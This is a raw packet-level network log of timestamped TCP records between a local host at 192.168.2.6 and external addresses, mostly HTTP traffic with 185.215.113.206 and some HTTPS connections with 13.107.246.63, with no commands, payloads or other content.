Dec 2, 2024 07:37:57.561717033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.561799049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.561829090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.561880112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.562640905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.562700987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.562711000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.562751055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.563486099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.563527107 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.563550949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.563569069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.564419031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.564471960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.564528942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.564613104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.565315962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.565377951 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.565413952 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.565458059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.566226006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.566287041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.566323042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.566359043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.567137957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.567198038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.567229033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.567274094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.626734972 CET	443	49836	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.629749060 CET	443	49836	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.629872084 CET	49836	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.629925013 CET	49836	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.629925013 CET	49836	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.629944086 CET	443	49836	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.629949093 CET	443	49836	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.633021116 CET	49840	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.633069992 CET	443	49840	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.633187056 CET	49840	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.633356094 CET	49840	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.633378029 CET	443	49840	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.671875954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.671966076 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.671988964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.672045946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.672389030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.672401905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.672457933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.673259974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.673327923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.673358917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.673433065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.674173117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.674223900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.674236059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.674279928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.675023079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.675118923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.675282955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.675331116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.675934076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.676007986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.676027060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.676065922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.676848888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.676919937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.677052021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.677120924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.677809954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.677881956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.677911997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.677957058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.678648949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.678733110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.678761005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.678868055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.679560900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.679642916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.679670095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.679714918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.680443048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.680493116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.680532932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.680583000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.681349039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.681401968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.681468010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.681529045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.682274103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.682328939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.682332993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.682375908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.683248997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.683345079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.683371067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.683432102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.684086084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.684148073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.684214115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.684274912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.684956074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.685022116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.685053110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.685142040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.685877085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.685956001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.685971022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.686021090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.686769009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.686835051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.686871052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.686939955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.687731028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.687745094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.687793970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.688577890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.688631058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.688667059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.688721895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.689483881 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.689537048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.689580917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.689637899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.690361977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.690459967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.690490007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.690542936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.691292048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.691353083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.691386938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.691483974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.692162991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.692234039 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.742688894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.742759943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.742799044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.742799044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.743123055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.743175983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.743212938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.743266106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.744035959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.744087934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.744088888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.744134903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.744971037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.745033979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.745043039 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.745085955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.745851994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.745935917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.745965958 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.746025085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.746794939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.746843100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.746862888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.746903896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.747760057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.747772932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.747818947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.748650074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.748662949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.748717070 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.749423027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.749474049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.749954939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.750008106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.750471115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.750483036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.750602007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.751301050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.751398087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.751425982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.751693964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.752285004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.752298117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.752340078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.753155947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.753169060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.753264904 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.754070044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.754081964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.754129887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.754976034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.754988909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.755134106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.755842924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.755901098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.756016016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.756088018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.756772995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.756786108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.756829023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.756874084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.757690907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.757704020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.757766962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.758567095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.758579969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.758631945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.759354115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.759533882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.759562016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.760377884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.760390043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.760432959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.760432959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.761189938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.761245966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.762116909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.762130022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.762192965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.762192965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.762233019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.762286901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.763036966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.763102055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.763359070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.763412952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.763895035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.764005899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.764069080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.764137983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.764878988 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.764929056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.764931917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.765013933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.765793085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.765804052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.765853882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.766658068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.766721010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.766782999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.766833067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.767537117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.767549038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.767611980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.768402100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.768452883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.768528938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.768632889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.789838076 CET	443	49838	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.793461084 CET	443	49838	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.793540955 CET	49838	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.793596029 CET	49838	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.793607950 CET	443	49838	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.793621063 CET	49838	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.793626070 CET	443	49838	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.796715975 CET	49841	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.796755075 CET	443	49841	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.796842098 CET	49841	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.796987057 CET	49841	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.797003031 CET	443	49841	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.809815884 CET	443	49837	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.813010931 CET	443	49837	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.813085079 CET	49837	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.813136101 CET	49837	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.813158035 CET	443	49837	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.813169003 CET	49837	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.813175917 CET	443	49837	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.816165924 CET	49842	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.816211939 CET	443	49842	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.816294909 CET	49842	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.816447020 CET	49842	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:57.816459894 CET	443	49842	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:57.873411894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.873507023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.873533964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.873584986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.873891115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.873950005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.873964071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.874003887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.874815941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.874828100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.874872923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.875679970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.875693083 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.875761986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.875761986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.876595974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.876655102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.876667023 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.876707077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.877485037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.877559900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.877589941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.877643108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.878377914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.878432035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.878460884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.878510952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.879276991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.879338026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.879362106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.879430056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.880234003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.880247116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.880286932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.880337000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.881083012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.881195068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.881217003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.881300926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.881989002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.882009983 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.882056952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.882056952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.882917881 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.882930994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.882980108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.883790970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.883843899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.883850098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.883896112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.884716034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.884728909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.884769917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.885617018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.885690928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.885711908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.885785103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.886503935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.886557102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.886573076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.886617899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.887433052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.887484074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.887530088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.887588978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.888359070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.888411045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.888412952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.888465881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.889195919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.889286995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.889381886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.889457941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:57.890140057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.890176058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:57.890197039 CET	49823	80	192.168.2.6	185.215.113.206
